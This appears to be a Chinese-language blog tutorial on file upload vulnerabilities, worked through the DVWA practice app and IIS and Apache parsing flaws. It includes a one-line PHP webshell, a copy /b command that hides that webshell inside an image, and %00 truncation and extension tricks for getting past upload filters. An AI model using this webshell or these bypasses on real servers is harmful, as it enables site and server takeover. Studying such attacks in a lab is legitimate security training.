为什么文件上传存在漏洞
-
上传文件的时候,如果服务器脚本语言,未对上传的文件进行严格的验证和过滤,就容易造成上传任意文件,包括上传脚本文件。
-
如果是正常的PHP文件,对服务器则没有任何危害。
-
PHP可以像其他的编程语言一样,可以查看目录下的文件,查看文件中的吗内容,可以执行系统命令等。
-
上传文件的时候,如果服务器端脚本语言,未对上传的文件进行严格的验证和过滤,就有可能上传恶意的PHP文件,从而控制整个网站,甚至是服务器。这个恶意的PHP文件,又被称为WebShell
文件上传漏洞的实例:
这是我在DVWA里面截取的关于文件上传的后端代码让我们来分析一下
low级别的文件上传 image image.gif
我们对这里的后端代码进行分析
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 表示上传的路径
basename( $_FILES[ 'uploaded' ][ 'name' ] ); 表示获取上传的文件的名字
move_uploaded_file( target_path ) //表示将文件存储到新的taeget_path目录下
这个实例没有对我们上传的文件进行任何过滤,因此我们可以很容易的进行攻击
$_file['uploaded']['tmp_name']表示上传文件临时存放的路径
这个并没有过滤条件,因此我们可以直接进行上传我们想要上传的文件创建一个php文件,并加入<?php eval($_POST['KEY']);?>
这个表示一句话木马,KEY表示自己创建的密码,我们将这个文件上传上去。
如图:
image image.gif
这时我们便成功的连接上了网站,我们可以查看任何内容。
medium级别的上传漏洞
image image.gif
这个代码和上面的类似,不同之处在于对上传的文件进行了过滤
if( ( uploaded_type == "image/png" ) &&( $uploaded_size < 100000 ) )
这句便是过滤的语句,限制了上传h的f类型sa和大小,我们可以针对不同的版本来进行绕过
我们可以看到$_file数组,这个是php中自定义的超全局变量,这个变量是针对上传文件的,这是一个二维数组,第一【】内表示上传的文件名字这个文件的对象,第二个【】表示一些这个文件的属性.
$_FILE常见的属性有:
- $_FILES["file"]["name"] - 被上传文件的名称
- $_FILES["file"]["type"] - 被上传文件的类型
- $_FILES["file"]["size"] - 被上传文件的大小,以字节计
- $_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称
- $_FILES["file"]["error"] - 由文件上传导致的错误代码
接下来是high级别的
image image.gif
这里对我们上传的文件类型,文件大小和文件的内容进行了判断,getimagesize()函数便是对图片的内容进行判断是否为图片,
还有便是这里是通过截取我们上传文件的后缀名进行判断文件类型的因此不能像上面那个通过改content-type字段来绕过。
首先 我的php 版本<5.3.4,因此可以进行%00截断,
copy 1.php/a+2.png/b c.png 在命令行下执行这个命令便可以生成c.png文件 这个文件会包含图片的信息,因此会绕过getimagesize()函数的检测,并且在这个文件的后面还会有我们的一句话木马,因此我们再加上%00截断使上传的文件名为php,当我们访问这个文件时便会当作php执行。
上面我们对后端是怎么处理我们上传的文件有了一些了解了,接下来该是我们怎么利用这些存在漏洞的学习了,下面我将列举出一些我们常见的漏洞,并举一些实例来加深对这些知识的了解。
iis漏洞
使用iis5-iis6的服务器存在漏洞,这个版本的服务器通常以asp语言作为后端语言
-
目录的解析漏洞:服务器会将 .asp结尾的目录中的文件解析为asp文件
原理: 服务器默认会把.asp,.asp目录下的文件都解析成asp文件
eg:www.baidu.com/aa.asp/bb.txt当我们访问bb.txt时实际上服务器会将bb.txt当作asp语言来解析
-
文件解析
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。
因此又是我们可以添加;来进行文件类型的绕过
-
IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa
/test.cer
/test.cdx
apache解析漏洞
漏洞的原理:
Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断
eg:aa.php.aa 但解析这个文件时apache不知道.aa是什么类型便会继续向左解析,直到解析到apache认识的文件类型,因此这个便会被解析成php文件
还有一些其他的服务器漏洞:http://blog.51cto.com/wt7315/1865580
网友评论